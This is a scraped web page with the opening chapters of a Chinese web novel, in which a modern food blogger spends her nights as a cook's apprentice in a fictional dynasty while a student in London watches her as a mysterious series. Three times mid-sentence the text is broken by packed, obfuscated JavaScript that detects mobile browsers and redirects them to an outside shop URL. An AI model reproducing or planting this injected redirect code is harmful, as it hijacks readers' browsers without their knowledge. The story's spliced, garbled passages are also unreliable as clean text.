《掌厨(穿越)》 1. 怎么和别人的穿越不一样 平台最近有个新活动叫“我的一日三餐计划”，周瑶理的粉丝一直在评论区推荐她参加。反正闲着也是闲着，看完参赛规则后她干脆也把名报上，这几天紧赶慢赶终于把接下来几天的视频存货都拍完。 走上美食博主这条路属实出于她的意料之外，也不在她爸妈给她安排的人生计划之内。 周瑶理本身是个不怎么爱社交的人，或者说懒于费心思跟别人交流，身边的朋友都是按人生阶段进行更新迭代。 上大学以后身边的同学已经不像初高中那样早晚都能碰上，甚至拍毕业照的时候她还不知道其中一些同学的名字，能称得上朋友的也就几个舍友。 大四实习那年，周瑶理自己在外租了个小房子。 租金不贵，不过地段差了点儿。但她看中的是这间房子面朝外，早晚通亮。每天早上还有太阳照进来，正好打在厨房的案面上。 实习的工作太过枯燥，周瑶理想着干脆把自己做饭的过程拍下来发到网上，就当作是对这一年的生活存档。 没想到流量居然还不错，慢慢地吸引了一批粉丝，账号越做越大。 去年实习结束后不顾父母反对，全职做起了美食博主。虽说赚得不算多，但起码能养活自己，过得也不算拮据。 周瑶理把台面清洗干净，顺便洗个澡把自己也收拾妥当，这才有空躺在床上刷视频。结果没过一会儿眼皮变得沉重，身体控制不住地往下坠。 下一秒手机从手上脱落跌在床上，周瑶理逐渐昏睡过去。 再次睁开眼时，发现自己站在一个看起来十分古风的地方，看样子好像还是个厨房？ “我去，这是哪儿？”周瑶理自言自语道。 突然脑子里蹦出个语调欢快的女音，“欢迎来到雍都朝，你是本话册第一位挑战者哦！” “什么朝？”她严重怀疑自己估计是累出幻觉了，不然怎么会有种穿越的错觉。 “不是错觉！就是穿越。”女音察觉到周瑶理的疑惑，十分激动地开口，将大致情况跟她梳理一遍。 “所以你的意思是，我白天在现代，晚上十二点一睡觉就要来这个劳什子的雍都朝当厨子？” 她算是明白了，也就是说一天打两份工呗。 “什么时候结束。”人生前二十年都是父母在安排的周瑶理已经能快速调理好情绪，主打撞上了就躺平策略。 “等到你做上天下第一厨。” 淡定如周瑶理此刻也忍不住抱头无声嘶喊，为什么是她！ 这不能怪系统。穿越中心的编剧大人最近又新研发出个穿越话册，系统检查到周瑶理有强烈地当主厨的欲望，便选中她当第一位挑战者。 “基本情况你都知道了，期待你的成长哦～”说完脑子内的女音消失不见，四周完全安静下来。 “不是！别走啊！”周瑶理绝望瞪大眼睛，还没说给不给金手指呢。 算了，来都来了。周瑶理提起精神朝四周仔细观察一番，发现不像是什么有钱人家的后厨，倒更像是酒楼的。 正当她在灶台上抠抠摸摸感慨古人生活真不容易时，后头传来一声粗旷的男声。 “你干嘛呢。” 周瑶理莫名其妙穿到这本就没做好心理准备，被人一吼更是慌得不行。身体的保命机制瞬间被调动起来，顺手抄起案板上的菜刀，转身举起对上后方来人。 那粗壮汉子被她这么一吓也紧张起来，嘴里哆哆嗦嗦地控诉，“你这小娘子好不讲道理，东家看你可怜收你做厨娘，你怎的还举刀相向！” 外头的人估计听到动静，纷纷走进来。看到周瑶理举着刀，全都像刚刚那名汉子一样往后退，嘴上还念叨着有话好好说。 周瑶理见状放下刀，一脸尴尬地看向他们。 没办法，现实生活疯子太多，为了自身安全都得机警一点。 离周瑶理最近的那名汉子看她放下刀，冲过来手急眼快地把刀夺走，再放到离她远远的地方。 那个穿着华丽的应该就是所谓的东家，这会才走上前厉声道，“周娘子你还要不要在这做事了！” 周瑶理一听点头如蒜。连忙道歉，“实在对不住，我胆子比较小。人一多，我就慌了神。” 刚刚系统走得急，她忘了问自己在这的人设是什么了，现在能少说一点是一点，说多错多。 那东家见她态度良好，遂给她个台阶下，“我也不是不理解你，你一个小姑娘只身一人大老远的从别处来。”随后叹了口气，“以后别动刀舞枪的，怪吓人的。” 赵瑶理附和连声称是。 看来她在这的人设也是一个从外地来的女娘，大伙儿对她也不熟悉。这下就好办了，她不用被人设困住。 虽说周瑶理现在还只是个打下手的厨娘，但一整天下来她在后厨也摸清了基本情况。 她在的这个酒楼叫云禾酒馆，这里的东家姓王，她呢便是今早被东家捡回来的陌生女娘。 好在东家心地不算坏，跟她签的是短契，没诓她签卖身契。 照目前来看，这个朝代虽说是架空世界，但多少杂糅了点真实古代要素。 想到这周瑶理郁闷叹气，她衣柜里还躺着两三套唐褙子呢，想着今年去西安旅游的时候穿，结果就被送到这个鬼地方。 周瑶理脑子里想着东西，手中洗碗的动作渐慢。路过的另一个在后厨打下手的短工逮住机会跟大厨子告状。 周瑶理回过神来就看见对方站在厨子身边指着她嘀嘀咕咕不知道在说什么，不过下一秒就知道了。 对面二人一脸横态地走过来，告状的伙计居高临下地看着她，“周娘子若是受不住可向东家辞了去，后厨繁忙可不是你能偷懒耍滑头的地儿。” 周瑶理虽然外表看上去柔柔弱弱的，看上去很好欺负的样子，但那嘴皮子功夫是出了名的毒辣。 当年毕业实习那会儿实习证明苟到手，离职那天去主管办公室对着人怒骂半小时，骂爽了才走的。 她现在只是个洗碗的，就这也要被针对。人在屋檐下不得不低头，不过她也没打算忍着。手上动作不停，嘴上也不饶人，“这位仁兄实在是误解我。我又没到处聊天，怎么就偷懒耍滑头了。” 说完手上最后一个碗洗完，周瑶理抱着竹篮子站起来，笑看着对面两人，“咱们的活计是靠手又不是靠嘴。先别说我，你这样贸然把李厨子拉过来，何尝不是耽误人家的时间。” 李厨子便是先前夺过她手中菜刀的男人。 说罢她还一脸无奈，“馆子现在客人正多，若是耽误了上菜，东家指不定怪罪李大厨呢。” 李厨子一听想起自己锅上正煮着东西，瞬间转过身在那男的肩头猛地一拍，骂骂咧咧往回走。 周瑶理见状也适可而止，低头继续干自己的活。虽然咽不下那口气，但初来乍到还是少给自己惹麻烦比较好。 雍都朝收工早，周瑶理下班后便回住所把今天发生的事情都梳理一通。 白天她看到的厨子们所用的烹饪方式除了水煮和蒸烤之外，居然还有煎炒，所用的配料种类也多，和真正的古代生活确实有点不同。 虽然她现在所处的朝代类似唐宋时期，但好歹是架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892563|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空世界，穿越中心相对而言还是比较人性化的。 不过周瑶理还不知道自己现在在哪个州县，今天偷听墙角时也只听到昌南道三个字。 除此之外，毫无可用信息。 这时静音一整天的女音在脑中出现。 “恭喜挑战者完成在雍都朝的第一天，有疑惑的地方可以问我哦。” 周瑶理喊了她一天，终于让她逮着了。 “为什么不给我地方住！”提起这事她就来气儿。 周瑶理来得太过突然，眼睛一睁人就在饭馆后厨站着，等到下班了才发现自己没地儿住。 东家看她身无分文，索性让她在饭馆后院和其他庖厨跑堂将就几天，等发了工钱再寻住所。 好在后院还剩一间单独的屋子，周瑶理是唯一一个姑娘，剩下的那件便给她住了去。 “本话册的关键词为逆天开局，需要挑战者白手起家，创造美好未来！” 所以连个住的地方都不给吗？ 算了，她懒得计较，“那给我点银子，我要去租房。” 她一个女生挤在一堆大老爷们儿中间像话吗，洗漱都不方便。 “不可以的，本系统没有预支银两功能。”系统女声淡淡开口。 周瑶理忍了又忍，深呼吸过后耐着性子继续问道，“那这里是哪儿？” “挑战者要自己探索哦。” “我的金手指呢？” “请白手起家。” 真是恶语伤人六月寒。 周瑶理不忍了，怒吼道，“一问三不知，那你会干嘛！” 系统安静一会儿后小声挤出一句，“给你提供任务进度，为您加油。” 伦敦下午四点半。 林嘉行刚跟教授开完会，拒了朋友的晚餐邀请，打算回去整点白人饭随便应付两口。只要吃不死，能维持生命体征就行。 回到家按照惯例打开电脑处理下每日邮件，结果今天他刚打开电脑就发现桌面出现一个陌生文件夹叫什么《燥候厨神诞生》，打开一看里面还躺着个标题为01的影片。 林嘉行：谁动我电脑了？ 他甚至开始怀疑是不是遭贼了，这也不是不可能的事儿。 这房子唯一的生活痕迹来自于他自己，林嘉行不喜欢和别人挤在一块，自己在外租了间房子。 抱着怀疑的心态，林嘉行打开监控录像看了好一阵，确实没人进过房子。既然如此，这个影片哪来的？ 正愁无聊，他干脆端着碗在电脑前坐下。大不了中病毒，那就再买个电脑好了。 出乎他意料，居然真的是部电视剧。主角是个突然出现在昌南道的女孩子，被一个酒馆的老板捡回去当厨娘。 小姑娘刚上任第一天就被其他人来了个下马威，好在这姑娘看着好欺负得很，嘴巴倒是挺厉害的。 “还挺不好欺负的。”林嘉行嘴里塞着白人饭，自言自语道。 紧接着就看这位周娘子洗了一天的碗，酒馆打烊后影片就结束了。 戛然而止。 林嘉行气笑，就这？ 哪个编剧在水集数。 不过一整集的镜头全部聚集在后厨，看了两小时厨子做菜倒是把他看饿了，索性去厨房搜刮出一包辣椒粉撒在酸奶上。 骗不了胃总能骗骗自己的嘴吧。 不出所料，到了晚上林嘉行就开始一趟趟地跑厕所。稍微好一点后他还有些气不过，一气之下爬起来打开电脑把文件夹删了，还特地去回收站一并删干净。 随后虚弱躺在沙发上暗道，果真是病毒！ 2. 后厨学徒真难当 有了前一天的经验，周瑶理第二天晚上早早收拾好一切上床躺着。果然十二点一到，眩晕感过后她便到了雍都朝。 好在这次的地点是在上次离开时住的酒馆后院小屋，让她有缓冲的时间，不至于像上次那样一来便和别人打照面。 做好心理准备后周瑶理拿起一旁的水盆打开门，正好撞见也从隔壁走出来的店小二，俩人对视一眼纷纷露出尴尬的神情。 先前这后院只住了他们几个大男人，突然来了个娘子还有些不习惯。店小二生怕惊扰周瑶理，立马垂下头摆出请的姿势，随后将房门打开钻进屋里。 周瑶理见状立马上前从水井提起半桶水，再快速回房。 等东家发工钱，她一定得去外头租个房子自己住。每天这样怪不自在的，也伸展不开。 酒馆的碗筷昨晚就已经清洗方便，周瑶理便被喊去切菜。值得一提的是，这里的蔬菜种类比她想的要多，大部分绿叶菜子都有。 周瑶理平日里拍素材时经常翻车，一条视频可能得来来回回拍好几遍，久而久之刀工算得上熟练。她眼前那筐瓜蔬以肉眼可见的速度变少，不一会儿就见底了。 在另一边清洗鱼类的李厨子看她无所事事的样子，伸头一看那么大筐食材居然全切好了，一脸不可置信走上前来，眼神在她和边上切好的食材之前来回打转。 周瑶理被他看得发毛，抠着指甲尴尬笑笑，“是我切的有问题吗？”难道古代人切菜也有讲究？ “这么多你一下子就弄好了？” 她闻言低头看了眼竹筐，这才多大容量，分分钟的事。 “我想着别耽误各位大厨们的时间，稍微加快点速度。” 李厨子听完没说话，只是若有所思地点点头。看来是他小看这位周厨娘了，还以为她进后厨只是做做样子混口饭吃。 周瑶理急性子，手脚又麻利，切完菜被喊去洗蔬菜。短短半个时辰内就干完两三个人的活，就连另一个看轻她的厨子也不得不佩服。 之前酒馆后厨备菜得需要两个时辰，这下倒是大大缩减了时间，三位厨子瞬时没了往日的急迫。 周瑶理迫切想要上手炒菜，最好后天当上天下第一厨，哪儿管得了他们肚子里的弯弯绕绕。 她巴不得在所有人面前刷够脸，就盼着哪位厨子可以让她从打杂的提升为打下手的。 她这招还真有效，开店前李莽将她和黄蛮喊到跟前，黄蛮便是昨日挑拨离间的那位。 “周厨娘今日给我打下手，洗碗的事儿交给蛮子。” 周瑶理瞬间瞪大眼睛，拼命将扬起的嘴角往下压。没想到短短一天时间就摆脱洗碗了，她还以为至少得洗上五六天才能转职的。 一旁的黄蛮不乐意，“李师傅这不像话，她才来一天！” 凭什么姓周的短短一日之内就可以从后厨最底层的位置挪开，他当时可是洗了整整大半个月的碗才变成切菜工的。 他一提，李莽立马拧着眉毛怒斥道，“你还好意思说，人家一筐菜没两下子就切完了，薄厚均匀。” 说罢还拿起俩人切的土豆片子对比，“你看看你的，不知羞。一筐菜切小半天，等你切完外头的客人早饿死了。” 黄蛮敢怒不敢言，最后恨恨地瞪了周瑶理一眼。 她哪是吃素的，不甘示弱地瞪回去。正巧这时酒馆开张，外头陆陆续续向里递单子，一时间后厨氛围火热起来。李莽匆忙回到自己的灶台前，周瑶理随即跟上。 “会生火吗？”李莽将她带到灶台前，转头睨她一眼。 周瑶理低头观察一番，整体上看就是农村用的柴火灶。她虽然先前没用过，但怕自己露怯就被重新喊回去洗碗，“我学东西很快的，看一次就会。” 李莽闻言挑眉，周瑶理看不出他信不信，只好梗着脖子强撑镇定。好在对方没刁难她，大致简略地跟她介绍完就继续干自己的事。 等人走后周瑶理紧绷的神经放松下，这才有空认真琢磨灶台的结构。今天的灶火黄蛮已经生好了，她只要守在边上控制火候就行。 周瑶理看着手中的把手，风箱她还是认得的。之前刷视频看到过制作过程，当时还感慨古人的聪明才智，没想到这么快就用上了。李莽没说要多大火候，周瑶理只敢小心翼翼推拉，下一秒头顶上传来骂声。 “没吃饭吗？这点劲儿给火挠痒呢。” 周瑶理抿嘴，推拉的动作加快。 “这么大火想干嘛？顺便把锅烧了得了。”李莽怒目直瞪她，“不服气啊。” 见状她连忙摆手，“您消消气，我这就学会了。” 原来古代的学厨生活也这么艰难。 控制火候的工作看似简单，只需一推一拉即可，但火候的大小全靠推手的力度决定。有了刚刚的教训，周瑶理明显上手许多，至少没再因为这事儿被骂。 “小周，去把炉子内的瓷泥煨鸡取出来。” 周瑶理手都快推麻了，巴不得现下就逃离这块位置，闻言立马站起身去开炉子。 瓷泥煨鸡如其名，整鸡经过多道腌制工序后，在一旁放上其他不易碎软的瓜蔬用荷叶裹住，最后在外围用瓷泥封住，放进炉窑焖烤。 令周瑶理惊讶的是，像瓷泥这类颇具地方特色的东西，在这里居然用于制作美食。身后的催促声将她思绪拉回，来不及多想，托着东西快步向外走，结果又被叫住。 周瑶理转过身一头雾水。 “敲开才能端给客官啊！”李莽夺过盘子取来一旁的木锤。 周瑶理默默跟在身后，看来古今的经营方式也不同。若是放到二十一世纪，这玩意儿不得端到客人面前敲开，再吟诗一首。 敲泥的力度也有讲究，轻了毫发无伤，重了碎落一地还会沾到荷叶上。 李莽不愧是老庖厨，三两下的功夫外层坚硬的瓷泥便出现几道裂缝，轻轻一撬就开了，内里的荷叶未沾染到一丁半点的碎屑。 随着外头的硬壳被破开，肉质的鲜味混合着荷叶的清香瞬间飘出。将荷叶分瓣剪开，内里的鸡肉鲜嫩软烂，未加一滴水却流淌着金黄的油汤。 等装盘完成，周瑶理便抬上出餐口，下一秒另一只瓷泥煨鸡被端上桌。 这次，李莽将木锤交予她手中。第一次下手她不敢太用劲，意料之中的没有任何动静。边上看着的李莽啧了一声，周瑶理握紧手柄，这一次如愿敲开，渐渐地能掌握力度。 一眨眼竟敲了一中午，炉子那块没再陆陆续续吐出窑鸡时她才得以歇上一会儿。 “这里的鸡确定不会灭绝吗？”周瑶理蹲在一旁吐槽，半天下来她看到鸡都开始反胃了。 才蹲下没多久就被掌柜的喊出去收拾餐桌，周瑶理只好认命站起来跟着出去。 人在屋檐下，不得不低头。 这会儿已经过了饭点，外头只剩下稀稀拉拉几桌客人。 “你把那桌收拾了。” 周瑶理吭哧吭哧擦着桌子，听见一旁还在用饭的几个娘子聊天。 看着像东道主的娘子身着绯红襦裙，看着就像周瑶理上学那会儿在课本上看到的唐三彩女仕一般。 “这瓷泥煨鸡只有咱们昌南道这才有的，你许久才来一次多吃点儿。” 特有的？周瑶理停下动作看过去，若真如这位娘子所言，或许是个突破口。 看那几位娘子也不像难相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892564|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的人，她慢慢放轻动作挪过去，在人看过来时扬起笑说道，“打扰几位了，方才听娘子说这是昌南道特有的吃食，可是真的？” 那红裙娘子一脸傲气，“可不是嘛！放眼望去哪个州县有咱这么多的瓷泥。”昌南道的瓷物可是出了名的。 周瑶理顿时提溜着眼珠子，慢慢挪过去。她穿来雍都朝也有一两天了，到现在都没搞清楚自己在什么地方。 眼前两位娘子看起来能给她提供不少信息，倒不如趁此机会问个清楚。 对方疑惑看向周瑶理，“小娘子听起来不是本县人？” “娘子好眼力，我家中没落无亲眷，便只身一人到此寻落脚处。”反正系统没给她安排身份，她爱怎么编就怎么编。 果不其然，几位娘子听了好不心疼，纷纷放下筷子拉周瑶理坐下。 “娘子吃了很多苦吧？” “现在可找到活计了？” 周瑶理点点头，还向她们扬了扬手上的擦桌布，“我会点儿厨艺，云禾酒馆东家心善，收我当厨娘。” “那可好！以后我可得常来。”在座几人皆为她开心。 雍都朝男女尊卑观念虽不似其他朝代那么根深蒂固，但能当庖厨的女子少之又少，多半都是男子从事。即使女子在后厨，也只是洗洗碗罢了。 周瑶理复尔一脸伤感神色，“娘子抬举我了，我现在都还未摸到锅勺呢。” 几人一听，这可稀奇。 看几位娘子纷纷询问，她搅着手中的粗布继续说道，“我刚来此，厨艺确是有，但对昌南道人的口味偏好却一概不知。贸然接过锅铲，怕是会毁了东家的生意。” “原是这点小事儿。”作为东道主的娘子闻言笑开来，“别的不知道，但我敢说咱们昌南道人最喜鱼肉。” 昌南道近水域，故鱼鲜而肥，种类繁多。 对方这话可谓是解了周瑶理的燃眉之急，站起身跟人道谢。 既然知道当地人的口味，她心里便有数儿。 林嘉行这几天都被教授拉着开会忙得头昏眼花，昨日还吃了辣椒拌酸奶，今天看起来脸色苍白不少。教授看他一脸精神不济的样子，怕他晕在教室里，今天早早就放他回去。 林嘉行其实好了不少，没面上看着那么虚弱。不过导师大发慈悲高抬贵手，他能遛则遛。 有了昨天的教训，他今天特地去餐车那买了份中餐回来。回到家打开电脑一看，昨天删掉的文件夹又出现在桌面上。 “？”什么毛病。他将其拖到回收站，结果刚拖进去没多久，文件夹照样安安静静躺在桌面上，就像刚刚的事情没发生过一样。 林嘉行怔住，不信邪地再拖一次。来来回回几次过后，该死的文件夹还在那儿，乖巧得像在挑衅他。 他这会儿已经被磨得没有脾性，认命瘫坐在靠椅上。 来都来了，林嘉行无奈再次打开，发现竟然又更新了一集。 这次周娘子没再继续洗碗，而是开始挤进备菜的队伍，看着像升级成功了。 看到黄蛮被降级后怒狠狠地瞪周瑶理，林嘉行啧了一声，心道这男的肯定是反派。 接着便是李厨子骂完人后，周娘子在他背后做鬼脸。 林嘉行撑着下巴盯住屏幕内忙得焦头烂额的周瑶理，眼里闪过一丝若有若无的笑意。 怪有趣的。 一集四十分钟左右，他还开了倍数，不一会儿就看完了。总的来说中规中矩，不致于能让他每天都惦记着。 但死活删不掉这点，倒是勾起林嘉行的兴趣。电脑出现个陌生文件夹，还无法删除，怎么看都无法解释。 倒像是特意为他准备的。 3. 这么点钱打发叫花子呢 再次睁开眼看见满屋古代建筑风格的房间，周瑶理内心早已没了前几次的荒唐感，接受良好地下床收拾打扮。 说起来系统也没她想的那么废物，还记得留下几套古装行头，至少没让她一套衣服穿到发薪日。 这次周瑶理可是有备而来的。既然穿越到古代，那么现代菜定会引起当地人的好奇，也许她能将如今的菜品带到古代。 这样一来，成为天下第一厨指日可待！ 今天一大早她就搜罗了一堆速成菜谱，奈何时间紧来不及将每道菜的做法全部记住，只好挑挑选选记下两道。 “李师傅，”周瑶理看见李莽走进来后便跟在他屁股后面，“我昨晚梦到一道前所未有的菜，要不现在…” 话还没说完就被打断，“生火了吗。” 她话到嘴边只好停下，随后摇摇头，“还没。” 接着就看见李莽毫不留情地将她方才心中熊熊燃起的火苗掐灭，“你若是不想干了可以去洗碗。” 周瑶理闻言立马闭嘴，二话不说钻到灶台前拿起一旁的打火石，“您放心，我一定把今天的火生得十分旺。” 将灶火生好，她掂量着该怎么把刚才的话题捡起来时又被喊去备菜，无奈之下只好将计划搁下。 直至酒馆开门揽客，她都没寻到开口的机会，只要周瑶理一有提起的念头，李莽就会给她找点事做，要么烧火要么端菜。 到最后她张口想说些什么，李莽只需撇她一眼，周瑶理就识趣儿地闭上嘴。 本想着今天不行就明天，总会让她钻到空子的，谁知接连几天她都没找着机会，每天苦哈哈地烧火切菜，时不时再当当店小二。累得周瑶理每晚躺上床铺闭上眼睛就睡过去，哪有心思再继续琢磨研发新菜的事。 几日下来事情没有进展，倒是她在这生活得越来越自在了。住隔壁的几个男子每日清晨见着她还会不好意思地躲开，周瑶理已经能自如地到处晃悠。 自从知道对方没那些龌龊心思之后，她便安心住下。即使有也没关系，好歹她也上过一段时间的拳击课，只要不是动刀动枪，赤手空拳她还是有些胜算的。 这么想来，她又能在这安心苟到月末结工钱再去找房子。 酒馆每月逢五休假，周瑶理趁有空上街转悠两圈，顺便去趟文房铺买些笔墨之类的。 走在路上实在新奇，平日里只有在看古装剧的时候才能看见满街的古代服饰，亲眼看见别人行礼也颇有意思。 “左搭右…”她看着斜对面女子的手势，自己依葫芦画瓢地试了一下，恰巧跟那娘子对上眼。周瑶理抿嘴不好意思笑了笑，只见对方竟也朝她行以一礼，她连忙叉手回礼，一时太过紧张还将方向弄反了，惹得对方又是遮面一笑。 她尴尬挠头，快速跑开。手摸上头发时方才想起她的发髻也是随便挽的，平日里不觉得，这会儿看着其他姑娘的发髻，倒能察觉出点不同来。 “就这两样。”周瑶理挑挑拣拣选了块最小的墨条，还有几张看着比较朴素的文纸。系统不算失心疯，给她留了几文钱当开局资金。 “总共12文。” 她顿时瞪大眼睛，这点东西就要12文！周瑶理浑身上下也就10文钱，哪里够付。费劲三寸不烂之舌也没能让掌柜的给她便宜两文，垂下肩膀打算离开。 “掌柜的，前面那位娘子的账算我的。” 周瑶理闻言转过身去，就看见个穿着精致、额点花钿的女子朝她友好点头。对方接过账房递来的纸封再伸手递给她，见她还愣在原地，朝她歪头一笑。 “多谢。”周瑶理犹豫片刻才抬手接住，“让女君破费了。” “娘子言重，”对方跟着她一同走出门去，听她说完笑着开口，“钱财而已，让读书之人得愿岂不是美事一桩。” 说罢同她点头告别后便上马车离去。 晚上她在后厨精挑细选了根粗细均匀的木棍，又寻了个破碗一并拿回屋。毛笔可以用木棍代替，砚台也可找个不要的碗替代，如此一来便能省下不少钱。 “三杯鸡，一碗米酒一碗酱油…”周瑶理嘴里嘟囔着，将先前背下的菜谱都记下来，以防自己忘记。 “系统提示，过度使用现代食谱将会产生副作用。” “什么意思？”她写字的手顿了一下，面无表情问道。 白手起家一定要覆盖全过程吗，连bug都不能卡。 准确来说并不是禁止，而是不能随意使用，必须得在特定环境下方可出现。如若违规使用将视为作弊，并清空当日进度条。 “挑战者若在毫无前提条件的情况下将现代食谱搬挪到此处，将构成侵权。” 周瑶理听了半天，大致明白了。 “版权意识还挺强。”但是她怎么知道什么样的情况下才算特定环境。 “不用担心，时间到了通道自然会开。” 通道？这又是什么。 系统说一半藏一半，周瑶理还想继续问下去，奈何说完这几句话后系统又消失不见，她只好继续靠自己摸索。 低头看了眼手中记满食谱的纸张，周瑶理烦躁将其揉成一团丢下床。反正现阶段也用不上，看着心烦。过一会儿老老实实爬下床将纸团捡起，抚平后再叠好放进包袱里。 这纸要不少钱呢，况且是别人送的，可得好好珍惜。 伦敦。 林嘉行这几天忙得脚不沾地，先陪导师出差，回来后又马不停蹄开始写调研报告，一通下来只有周六才能歇上。 好不容易能休息一天，之前总是打电话邀他去聚会的朋友来了电话。想着自己都许久没社交了，干脆答应对方，晚上七点多收拾好便出家门。 其实能喊动他的最大的原因是，那群人每次聚会都能整出一桌子的中餐。林嘉行天天大晚上看周瑶理不是在后厨敲窑鸡，就是端着一盘盘冒热气儿的菜从镜头走过，胃口都被吊起来了。 不过最近忙得很，得好几天没打开过电脑。 “不容易啊，喊了半个多月才把你叫出来。” 他一进门就被人勾肩搭背带进去，屋内的氛围和他先前见过的截然不同，之前的聚餐说白了就是一场中餐厨师的技艺大比拼。 不知道他们从哪儿租来的一栋小别墅，轰炸的音乐、贴身扭动的男男女女，还有歪倒在地上的空酒瓶子。这才七八点的样子，估计他们已经喝过一轮了。 林嘉行见状轻皱眉毛，早说是这样的聚会他就不来了，还不如在家躺尸。 对方也发现了他的不耐烦，喊人将音响调低点，给他找了个稍微不怎么吵闹的位置。 “要我说你就得多出来跟我们聚聚，好好一大帅哥天天窝家里像什么样！”那男的从桌上拎过一瓶啤酒递给他，被拒后也不尴尬，自顾自打开灌了一口。 “忙。”林嘉行随口扯了个理由敷衍了事。 留学圈不乏好学生，逮着机会可劲儿学，最好每科成绩都A+。像眼前这群人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892565|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的类型也不少，无非是家里有钱，拿着父母的钱在外混日子，毕业了能混个文凭回去交差就行。 刚刚那男的是陈家小儿子，家中还有一大哥顶着，家人便没怎么管他在国外的德行。林嘉行他老爸的公司之前和他们家合作过，这也是对方时不时打电话给他的原因，美名其曰相互照顾。 躁动的人群混杂着重鼓点音乐，他实在受不了，跟人知会完就打算离开。 “别啊，再待会儿呗。”陈东旭话还没说完，林嘉行手机突然亮起。 他那大半年没给他打过电话的老爹。 林嘉行接起电话还没开口，那段的林父估计听到他这边吵闹的背景音，瞬间厉声道，“你在哪儿？” 没等他开口，泼天的责骂声砸过来，“所以我和你妈费大劲儿把你送出国，就是让你在外花天酒地吗？” 他就知道会是这样，已经懒得解释什么，反正结果都一样。 电话那端的责骂声不断，站得离他最近的陈东旭也听到了，尴尬收回手站在原地。 林嘉行面无表情听着，直到质问声再起，“你哑巴了吗？” “还有要说的吗？没有就挂了。”他不想同他爸继续浪费口舌，挂电话之前想起林父一开始提及的话题，“还有，出国的机会是我自己争取的，和任何人无关。” 说完一把将电话挂断。 “我先走了。” 林嘉行脸色差得很，陈东旭此时也不敢再说些挽留的话，点点头送他出去，临走前只叮嘱他注意安全。 回到家后林嘉行将自己摔进沙发，随手将手机丢到旁边，仰头顶着天花板发呆。 身上的烟酒味儿一阵阵飘上来，闻得人越发烦躁。他干脆把上半身扒个精光回房洗了个澡，从浴室出来时才觉得心情好一些。 出门前本就没吃多少东西，一通折腾下来早饿得前胸贴后背。还好家里还剩些存活，看了眼没过期便将就着吃了。 林嘉行叼着面包回房打开电脑，果然，这部剧每天一到点就自动更新。 虽说这几天周娘子的大厨计划都没什么进展，但好在后厨每天的花样层出不穷，拍摄手法也不算差，总归是有点儿意思的。 不过周瑶理买墨条那块儿着实让他震惊了一下，没想到这姑娘居然这么穷，还好最后她能得偿所愿。 时间一转便到了晚上。之前几集只到周瑶理关上房门那一刻就断了，没想到今天多一段。 只见画面中的周小娘子手握木棍端着破碗在纸上写写画画，时不时还皱眉。不一会儿跟老僧入定般坐着发呆，随后将纸张揉成团往床下一丢，反倒生起闷气来，连林嘉行都不知她为何生气。 下一秒周娘子从床上弹起，捡起纸团摊开后又折上几折，方才塞进包裹，嘴上还嘟囔着可贵了。 林嘉行本慵懒地靠在椅背上，见此不由得哼笑一声。 “怎么像小苦瓜一样。” 他搭在桌上的手稍一用力，身下的椅子转了个弯，捞过一旁的鼠标在页面上随意滑动。 这页面做得着实简陋，除了一旁的集数详情之外，就再无其他功能了，连个充钱的模块都没有。 林嘉行反应过来时才知自己刚刚的想法多么荒唐，这只是部三无电视剧，自己竟然当成了游戏，还想着给女主氪金。 他什么时候变得这么不设防了？ “嗯…老头的错。”要不是他爸大晚上的打个电话过来毁他心情，自己也不会这么蠢。 4. 我在古代学颠锅 云禾酒馆昨两日接了个大单，说是沈家少夫人张娘子过几天要在家中给老太太办场寿宴，点名了要李莽和另一位厨子掌勺。 李莽从今早开始就忙着和刘大厨定宴席的菜单，周瑶理识趣儿地没打扰他，只顾自己手中的活。 她在后厨当学徒也有小半月，刀工比刚来那会儿要长进不少，两筐瓜蔬不多时就见了底。 周瑶理将备好的食材分别装好码在一起，转头看向李莽的方向，见他还在和刘厨子商讨该删掉哪些菜品，便自觉往灶台方向走去，从他俩身旁经过时突然被叫住。 “蛮子，生火。”李莽朝周瑶理身后的黄蛮喊了一声，再将目光挪回她身上，“今儿起你跟我学做菜。” 届时酒馆两位老厨子得外出上门，酒馆后厨不可避免会少一些能担事儿的人。李莽思索半天，还是觉得周瑶理比较靠得住。 周瑶理瞬间眼里冒精光，立马站好昂首挺胸，“小的一定不会拖后腿！” 当上厨子第一步，便是驯服那口大铁锅。周瑶理在现代的时候见过这类铁锅，一般乡下柴火灶用得比较多。 底下的火已生好，李莽拿过边上的油壶往烧得发烫的锅子一倒，大片的油烟猛然冒起。 趁此机会接过周瑶理递过来的鲜藕片子果断扔下，一手拿着锅铲不断翻炒，另一边取过打湿的毛巾握住锅柄上下来回晃动。 